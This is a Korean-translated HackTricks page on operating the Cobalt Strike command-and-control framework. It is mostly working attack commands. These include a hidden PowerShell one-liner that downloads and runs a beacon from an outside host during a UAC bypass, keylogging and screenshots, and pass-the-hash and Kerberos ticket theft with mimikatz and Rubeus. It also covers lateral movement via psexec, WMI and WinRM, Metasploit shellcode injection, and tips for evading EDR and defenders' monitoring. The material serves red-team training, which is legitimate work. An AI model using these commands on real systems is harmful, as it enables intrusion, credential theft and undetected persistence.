Cobalt Strike

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Listeners

C2 Listeners

Cobalt Strike -> Listeners -> Add/Edit ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•  ์œ„์น˜์™€ ์‚ฌ์šฉํ•  ๋น„์ฝ˜์˜ ์ข…๋ฅ˜(http, dns, smbโ€ฆ) ๋“ฑ์„ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Peer2Peer Listeners

์ด ๋ฆฌ์Šค๋„ˆ์˜ ๋น„์ฝ˜์€ C2์™€ ์ง์ ‘ ํ†ต์‹ ํ•  ํ•„์š”๊ฐ€ ์—†์œผ๋ฉฐ, ๋‹ค๋ฅธ ๋น„์ฝ˜์„ ํ†ตํ•ด ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Cobalt Strike -> Listeners -> Add/Edit ๊ทธ๋Ÿฐ ๋‹ค์Œ TCP ๋˜๋Š” SMB ๋น„์ฝ˜์„ ์„ ํƒํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • TCP ๋น„์ฝ˜์€ ์„ ํƒํ•œ ํฌํŠธ์—์„œ ๋ฆฌ์Šค๋„ˆ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. TCP ๋น„์ฝ˜์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด ๋‹ค๋ฅธ ๋น„์ฝ˜์—์„œ connect <ip> <port> ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค.
  • smb ๋น„์ฝ˜์€ ์„ ํƒํ•œ ์ด๋ฆ„์˜ ํŒŒ์ดํ”„ ์ด๋ฆ„์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค. SMB ๋น„์ฝ˜์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด link [target] [pipe] ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Generate & Host payloads

Generate payloads in files

Attacks -> Packages ->

  • HTMLApplication HTA ํŒŒ์ผ์šฉ
  • MS Office Macro ๋งคํฌ๋กœ๊ฐ€ ํฌํ•จ๋œ ์˜คํ”ผ์Šค ๋ฌธ์„œ์šฉ
  • Windows Executable .exe, .dll ๋˜๋Š” ์„œ๋น„์Šค .exe์šฉ
  • Windows Executable (S) ์Šคํ…Œ์ด์ง€๋ฆฌ์Šค .exe, .dll ๋˜๋Š” ์„œ๋น„์Šค .exe์šฉ (์Šคํ…Œ์ด์ง€๋ฆฌ์Šค๊ฐ€ ์Šคํ…Œ์ด์ง€๋ณด๋‹ค ์ข‹์Œ, IoCs๊ฐ€ ์ ์Œ)

Generate & Host payloads

Attacks -> Web Drive-by -> Scripted Web Delivery (S) ์ด๋Š” ๋น„์ฝ˜์„ cobalt strike์—์„œ ๋‹ค์šด๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ/์‹คํ–‰ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ํ˜•์‹์€ bitsadmin, exe, powershell ๋ฐ python๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

Host Payloads

ํ˜ธ์ŠคํŒ…ํ•  ํŒŒ์ผ์ด ์ด๋ฏธ ์›น ์„œ๋ฒ„์— ์žˆ๋Š” ๊ฒฝ์šฐ Attacks -> Web Drive-by -> Host File๋กœ ์ด๋™ํ•˜์—ฌ ํ˜ธ์ŠคํŒ…ํ•  ํŒŒ์ผ๊ณผ ์›น ์„œ๋ฒ„ ๊ตฌ์„ฑ์„ ์„ ํƒํ•˜์‹ญ์‹œ์˜ค.

Beacon Options

# ๋กœ์ปฌ .NET ๋ฐ”์ด๋„ˆ๋ฆฌ ์‹คํ–‰
execute-assembly 
# 1MB๋ณด๋‹ค ํฐ ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋ ค๋ฉด malleable ํ”„๋กœํ•„์˜ 'tasks_max_size' ์†์„ฑ์„ ์ˆ˜์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

# ์Šคํฌ๋ฆฐ์ƒท
printscreen    # PrintScr ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด ๋‹จ์ผ ์Šคํฌ๋ฆฐ์ƒท ์ฐ๊ธฐ
screenshot     # ๋‹จ์ผ ์Šคํฌ๋ฆฐ์ƒท ์ฐ๊ธฐ
screenwatch    # ๋ฐ์Šคํฌํƒ‘์˜ ์ฃผ๊ธฐ์ ์ธ ์Šคํฌ๋ฆฐ์ƒท ์ฐ๊ธฐ
## ๋ณด๊ธฐ -> ์Šคํฌ๋ฆฐ์ƒท์œผ๋กœ ์ด๋™ํ•˜์—ฌ ํ™•์ธ

# ํ‚ค๋กœ๊ฑฐ
keylogger [pid] [x86|x64]
## ๋ณด๊ธฐ > ํ‚ค ์ž…๋ ฅ์œผ๋กœ ์ด๋™ํ•˜์—ฌ ๋ˆŒ๋ฆฐ ํ‚ค ํ™•์ธ

# ํฌํŠธ ์Šค์บ”
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ ํฌํŠธ ์Šค์บ” ์ž‘์—… ์ฃผ์ž…
portscan [targets] [ports] [arp|icmp|none] [max connections]

# ํŒŒ์›Œ์…ธ
## ํŒŒ์›Œ์…ธ ๋ชจ๋“ˆ ๊ฐ€์ ธ์˜ค๊ธฐ
powershell-import C:\path\to\PowerView.ps1
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell <์—ฌ๊ธฐ์— ํŒŒ์›Œ์…ธ cmd ์ž…๋ ฅ> # ์ด๋Š” ์ง€์›๋˜๋Š” ๊ฐ€์žฅ ๋†’์€ ํŒŒ์›Œ์…ธ ๋ฒ„์ „์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค (opsec ์•„๋‹˜)
powerpick   # ์ด๋Š” spawnto์— ์˜ํ•ด ์ง€์ •๋œ ํฌ์ƒ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ๋” ๋‚˜์€ opsec๋ฅผ ์œ„ํ•ด UnmanagedPowerShell์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค (๋กœ๊น… ์—†์Œ)
powerpick Invoke-PrivescAudit | fl
psinject     # ์ด๋Š” ์ง€์ •๋œ ํ”„๋กœ์„ธ์Šค์— UnmanagedPowerShell์„ ์ฃผ์ž…ํ•˜์—ฌ PowerShell cmdlet์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.


# ์‚ฌ์šฉ์ž ๊ฐ€์žฅ
## ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ํ† ํฐ ์ƒ์„ฑ
make_token [DOMAIN\user] [password] # ๋„คํŠธ์›Œํฌ์—์„œ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜๊ธฐ ์œ„ํ•œ ํ† ํฐ ์ƒ์„ฑ
ls \\computer_name\c$ # ์ƒ์„ฑ๋œ ํ† ํฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปดํ“จํ„ฐ์˜ C$์— ์ ‘๊ทผ ์‹œ๋„
rev2self # make_token์œผ๋กœ ์ƒ์„ฑ๋œ ํ† ํฐ ์‚ฌ์šฉ ์ค‘์ง€
## make_token ์‚ฌ์šฉ ์‹œ ์ด๋ฒคํŠธ 4624๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค: ๊ณ„์ •์ด ์„ฑ๊ณต์ ์œผ๋กœ ๋กœ๊ทธ์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ด๋ฒคํŠธ๋Š” Windows ๋„๋ฉ”์ธ์—์„œ ๋งค์šฐ ์ผ๋ฐ˜์ ์ด์ง€๋งŒ, ๋กœ๊ทธ์˜จ ์œ ํ˜•์œผ๋กœ ํ•„ํ„ฐ๋งํ•˜์—ฌ ์ขํž ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์œ„์—์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด, ์ด๋Š” LOGON32_LOGON_NEW_CREDENTIALS๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด๋Š” ์œ ํ˜• 9์ž…๋‹ˆ๋‹ค.

# UAC ์šฐํšŒ
elevate svc-exe 
elevate uac-token-duplication 
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

## pid์—์„œ ํ† ํฐ ํ›”์น˜๊ธฐ
## make_token๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ ํ”„๋กœ์„ธ์Šค์—์„œ ํ† ํฐ์„ ํ›”์นฉ๋‹ˆ๋‹ค
steal_token [pid] # ๋˜ํ•œ, ์ด๋Š” ๋„คํŠธ์›Œํฌ ์ž‘์—…์— ์œ ์šฉํ•˜๋ฉฐ, ๋กœ์ปฌ ์ž‘์—…์—๋Š” ์œ ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค
## API ๋ฌธ์„œ์—์„œ ์šฐ๋ฆฌ๋Š” ์ด ๋กœ๊ทธ์˜จ ์œ ํ˜•์ด "ํ˜ธ์ถœ์ž๊ฐ€ ํ˜„์žฌ ํ† ํฐ์„ ๋ณต์ œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค"๋ผ๊ณ  ์•Œ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋•Œ๋ฌธ์— ๋น„์ฝ˜ ์ถœ๋ ฅ์€ Impersonated ์ด๋ผ๊ณ  ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค - ์ด๋Š” ์šฐ๋ฆฌ์˜ ๋ณต์ œ๋œ ํ† ํฐ์„ ๊ฐ€์žฅํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.
ls \\computer_name\c$ # ์ƒ์„ฑ๋œ ํ† ํฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปดํ“จํ„ฐ์˜ C$์— ์ ‘๊ทผ ์‹œ๋„
rev2self # steal_token์—์„œ ํ† ํฐ ์‚ฌ์šฉ ์ค‘์ง€

## ์ƒˆ๋กœ์šด ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ํ”„๋กœ์„ธ์Šค ์‹œ์ž‘
spawnas [domain\username] [password] [listener] # ์ฝ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์ˆ˜ํ–‰: cd C:\
## make_token๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์ด๋Š” Windows ์ด๋ฒคํŠธ 4624๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค: ๊ณ„์ •์ด ์„ฑ๊ณต์ ์œผ๋กœ ๋กœ๊ทธ์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋กœ๊ทธ์˜จ ์œ ํ˜•์€ 2 (LOGON32_LOGON_INTERACTIVE)์ž…๋‹ˆ๋‹ค. ํ˜ธ์ถœ ์‚ฌ์šฉ์ž(TargetUserName)์™€ ๊ฐ€์žฅ๋œ ์‚ฌ์šฉ์ž(TargetOutboundUserName)๊ฐ€ ์ƒ์„ธํžˆ ์„ค๋ช…๋ฉ๋‹ˆ๋‹ค.

## ํ”„๋กœ์„ธ์Šค์— ์ฃผ์ž…
inject [pid] [x64|x86] [listener]
## OpSec ๊ด€์ ์—์„œ: ์ •๋ง ํ•„์š”ํ•˜์ง€ ์•Š๋Š” ํ•œ ํฌ๋กœ์Šค ํ”Œ๋žซํผ ์ฃผ์ž…์„ ์ˆ˜ํ–‰ํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค (์˜ˆ: x86 -> x64 ๋˜๋Š” x64 -> x86).

## ํ•ด์‹œ ์ „๋‹ฌ
## ์ด ์ˆ˜์ • ํ”„๋กœ์„ธ์Šค๋Š” LSASS ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํŒจ์น˜ํ•ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” ๊ณ ์œ„ํ—˜ ์ž‘์—…์œผ๋กœ ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ, Protected Process Light (PPL)๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ์—๋Š” ์‹คํ–‰ ๊ฐ€๋Šฅ์„ฑ์ด ๋‚ฎ์Šต๋‹ˆ๋‹ค.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]

## mimikatz๋ฅผ ํ†ตํ•œ ํ•ด์‹œ ์ „๋‹ฌ
mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
## /run ์—†์ด, mimikatz๋Š” cmd.exe๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋ฐ์Šคํฌํƒ‘์—์„œ ์‹คํ–‰ ์ค‘์ธ ์‚ฌ์šฉ์ž๋กœ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ, ๊ทธ๋Š” ์…ธ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (SYSTEM์œผ๋กœ ์‹คํ–‰ ์ค‘์ธ ๊ฒฝ์šฐ ๋ฌธ์ œ ์—†์Œ)
steal_token  # mimikatz์— ์˜ํ•ด ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค์—์„œ ํ† ํฐ ํ›”์น˜๊ธฐ

## ํ‹ฐ์ผ“ ์ „๋‹ฌ
## ํ‹ฐ์ผ“ ์š”์ฒญ
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
## ์ƒˆ๋กœ์šด ํ‹ฐ์ผ“๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  ์ƒˆ๋กœ์šด ๋กœ๊ทธ์˜จ ์„ธ์…˜ ์ƒ์„ฑ (์†์ƒ๋œ ์„ธ์…˜์„ ๋ฎ์–ด์“ฐ์ง€ ์•Š๊ธฐ ์œ„ํ•ด)
make_token \ DummyPass
## ํŒŒ์›Œ์…ธ ์„ธ์…˜์—์„œ ๊ณต๊ฒฉ์ž ๋จธ์‹ ์— ํ‹ฐ์ผ“์„ ์ž‘์„ฑํ•˜๊ณ  ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi

## SYSTEM์—์„œ ํ‹ฐ์ผ“ ์ „๋‹ฌ
## ํ‹ฐ์ผ“์œผ๋กœ ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ
execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์—์„œ ํ† ํฐ ํ›”์น˜๊ธฐ
steal_token 

## ํ‹ฐ์ผ“ ์ถ”์ถœ + ํ‹ฐ์ผ“ ์ „๋‹ฌ
### ํ‹ฐ์ผ“ ๋ชฉ๋ก
execute-assembly C:\path\Rubeus.exe triage
### LUID๋กœ ํฅ๋ฏธ๋กœ์šด ํ‹ฐ์ผ“ ๋คํ”„
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
### ์ƒˆ๋กœ์šด ๋กœ๊ทธ์˜จ ์„ธ์…˜ ์ƒ์„ฑ, LUID ๋ฐ ํ”„๋กœ์„ธ์Šค ID ๊ธฐ๋ก
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### ์ƒ์„ฑ๋œ ๋กœ๊ทธ์˜จ ์„ธ์…˜์— ํ‹ฐ์ผ“ ์‚ฝ์ž…
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### ๋งˆ์ง€๋ง‰์œผ๋กœ, ํ•ด๋‹น ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค์—์„œ ํ† ํฐ ํ›”์น˜๊ธฐ
steal_token 

#ย Lateral Movement
## ํ† ํฐ์ด ์ƒ์„ฑ๋œ ๊ฒฝ์šฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค
jump [method] [target] [listener]
## ๋ฐฉ๋ฒ•:
## psexec                    x86   ์„œ๋น„์Šค๋กœ ์„œ๋น„์Šค EXE ์•„ํ‹ฐํŒฉํŠธ ์‹คํ–‰
## psexec64                  x64   ์„œ๋น„์Šค๋กœ ์„œ๋น„์Šค EXE ์•„ํ‹ฐํŒฉํŠธ ์‹คํ–‰
##ย psexec_psh                x86   ์„œ๋น„์Šค๋กœ PowerShell ์›๋ผ์ด๋„ˆ ์‹คํ–‰
##ย winrm                     x86   WinRM์„ ํ†ตํ•ด PowerShell ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰
##ย winrm64                   x64   WinRM์„ ํ†ตํ•ด PowerShell ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰
## wmi_msbuild               x64   msbuild ์ธ๋ผ์ธ C# ์ž‘์—…์„ ํ†ตํ•œ wmi ์ธก๋ฉด ์ด๋™ (opsec)


remote-exec [method] [target] [command] # remote-exec๋Š” ์ถœ๋ ฅ์„ ๋ฐ˜ํ™˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค
## ๋ฐฉ๋ฒ•:
##ย psexec                          ์„œ๋น„์Šค ์ œ์–ด ๊ด€๋ฆฌ์ž ํ†ตํ•ด ์›๊ฒฉ ์‹คํ–‰
##ย winrm                           WinRM์„ ํ†ตํ•ด ์›๊ฒฉ ์‹คํ–‰ (PowerShell)
##ย wmi                             WMI๋ฅผ ํ†ตํ•ด ์›๊ฒฉ ์‹คํ–‰

## wmi๋กœ ๋น„์ฝ˜์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด (jump ๋ช…๋ น์— ํฌํ•จ๋˜์ง€ ์•Š์Œ) ๋น„์ฝ˜์„ ์—…๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜์‹ญ์‹œ์˜ค
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe


# Metasploit์— ์„ธ์…˜ ์ „๋‹ฌ - ๋ฆฌ์Šค๋„ˆ๋ฅผ ํ†ตํ•ด
## ๋ฉ”ํƒ€ํ”Œ๋กœ์ž‡ ํ˜ธ์ŠคํŠธ์—์„œ
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j

## cobalt์—์„œ: ๋ฆฌ์Šค๋„ˆ > ์ถ”๊ฐ€ํ•˜๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ Foreign HTTP๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ํ˜ธ์ŠคํŠธ๋ฅผ 10.10.5.120์œผ๋กœ, ํฌํŠธ๋ฅผ 8080์œผ๋กœ ์„ค์ •ํ•˜๊ณ  ์ €์žฅ์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
beacon> spawn metasploit
## ์™ธ๋ถ€ ๋ฆฌ์Šค๋„ˆ๋กœ x86 Meterpreter ์„ธ์…˜๋งŒ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Metasploit ์„ธ์…˜์„ Cobalt Strike๋กœ ์ „๋‹ฌ - ์‰˜์ฝ”๋“œ ์ฃผ์ž…์„ ํ†ตํ•ด
## ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡ ํ˜ธ์ŠคํŠธ์—์„œ
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
## msfvenom์„ ์‹คํ–‰ํ•˜๊ณ  multi/handler ๋ฆฌ์Šค๋„ˆ๋ฅผ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค.

## bin ํŒŒ์ผ์„ cobalt strike ํ˜ธ์ŠคํŠธ๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค
ps
shinject  x64 C:\Payloads\msf.bin # x64 ํ”„๋กœ์„ธ์Šค์— ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡ ์‰˜์ฝ”๋“œ ์ฃผ์ž…

# ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡ ์„ธ์…˜์„ Cobalt Strike๋กœ ์ „๋‹ฌ
## ์Šคํ…Œ์ด์ง€๋ฆฌ์Šค ๋น„์ฝ˜ ์‰˜์ฝ”๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. Attacks > Packages > Windows Executable (S)๋กœ ์ด๋™ํ•˜์—ฌ ์›ํ•˜๋Š” ๋ฆฌ์Šค๋„ˆ๋ฅผ ์„ ํƒํ•˜๊ณ  ์ถœ๋ ฅ ์œ ํ˜•์œผ๋กœ Raw๋ฅผ ์„ ํƒํ•œ ํ›„ x64 ํŽ˜์ด๋กœ๋“œ๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.
## ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡์—์„œ post/windows/manage/shellcode_inject๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑ๋œ cobalt strike ์‰˜์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค.


# Pivoting
## ํŒ€ ์„œ๋ฒ„์—์„œ ์†Œ์ผ“ ํ”„๋ก์‹œ ์—ด๊ธฐ
beacon> socks 1080

# SSH ์—ฐ๊ฒฐ
beacon> ssh 10.10.17.12:22 username password

Opsec

###ย Execute-Assembly

**execute-assembly**๋Š” ์›๊ฒฉ ํ”„๋กœ์„ธ์Šค ์ฃผ์ž…์„ ์‚ฌ์šฉํ•˜์—ฌ ์ง€์ •๋œ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋Š” ํฌ์ƒ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋งค์šฐ ์‹œ๋„๋Ÿฝ์Šต๋‹ˆ๋‹ค. ํ”„๋กœ์„ธ์Šค ๋‚ด์— ์ฃผ์ž…ํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • Win API๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉฐ, ๋ชจ๋“  EDR์ด ์ด๋ฅผ ํ™•์ธํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋™์ผํ•œ ํ”„๋กœ์„ธ์Šค์—์„œ ๋ฌด์–ธ๊ฐ€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ ์‚ฌ์šฉ์ž ์ง€์ • ๋„๊ตฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

agressor ์Šคํฌ๋ฆฝํŠธ https://github.com/outflanknl/HelpColor๋Š” Cobalt Strike์—์„œ helpx ๋ช…๋ น์„ ์ƒ์„ฑํ•˜์—ฌ BOF(๋…น์ƒ‰), Frok&Run(๋…ธ๋ž€์ƒ‰) ๋ฐ ์œ ์‚ฌํ•œ ๋ช…๋ น์— ์ƒ‰์ƒ์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ๋˜๋Š” ProcessExecution, injection ๋˜๋Š” ์œ ์‚ฌํ•œ ๋ช…๋ น(๋นจ๊ฐ„์ƒ‰)์œผ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์–ด๋–ค ๋ช…๋ น์ด ๋” ์€๋ฐ€ํ•œ์ง€ ์•„๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๋กœ ํ–‰๋™ํ•˜๊ธฐ

Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents์™€ ๊ฐ™์€ ์ด๋ฒคํŠธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋ณด์•ˆ EID 4624 - ์ผ๋ฐ˜์ ์ธ ์šด์˜ ์‹œ๊ฐ„์„ ์•Œ๊ธฐ ์œ„ํ•ด ๋ชจ๋“  ๋Œ€ํ™”ํ˜• ๋กœ๊ทธ์˜จ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ์‹œ์Šคํ…œ EID 12,13 - ์ข…๋ฃŒ/์‹œ์ž‘/์ ˆ์ „ ๋นˆ๋„๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ๋ณด์•ˆ EID 4624/4625 - ์œ ํšจ/๋ฌดํšจ NTLM ์‹œ๋„๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ๋ณด์•ˆ EID 4648 - ์ด ์ด๋ฒคํŠธ๋Š” ํ‰๋ฌธ ์ž๊ฒฉ ์ฆ๋ช…์ด ์‚ฌ์šฉ๋˜์–ด ๋กœ๊ทธ์˜จํ•  ๋•Œ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ด๋ฅผ ์ƒ์„ฑํ•œ ๊ฒฝ์šฐ, ์ด์ง„ ํŒŒ์ผ์€ ์ž ์žฌ์ ์œผ๋กœ ๊ตฌ์„ฑ ํŒŒ์ผ์ด๋‚˜ ์ฝ”๋“œ ๋‚ด์— ํ‰๋ฌธ ์ž๊ฒฉ ์ฆ๋ช…์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Cobalt Strike์—์„œ jump๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ, ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋” ํ•ฉ๋ฒ•์ ์œผ๋กœ ๋ณด์ด๋„๋ก wmi_msbuild ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

์ปดํ“จํ„ฐ ๊ณ„์ • ์‚ฌ์šฉ

์ˆ˜๋น„์ˆ˜๋“ค์ด ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ƒ์„ฑ๋œ ์ด์ƒํ•œ ํ–‰๋™์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ด๋ฉฐ, ์„œ๋น„์Šค ๊ณ„์ • ๋ฐ *$์™€ ๊ฐ™์€ ์ปดํ“จํ„ฐ ๊ณ„์ •์„ ๋ชจ๋‹ˆํ„ฐ๋ง์—์„œ ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณ„์ •์„ ์‚ฌ์šฉํ•˜์—ฌ ์ธก๋ฉด ์ด๋™ ๋˜๋Š” ๊ถŒํ•œ ์ƒ์Šน์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์Šคํ…Œ์ด์ง€๋ฆฌ์Šค ํŽ˜์ด๋กœ๋“œ ์‚ฌ์šฉ

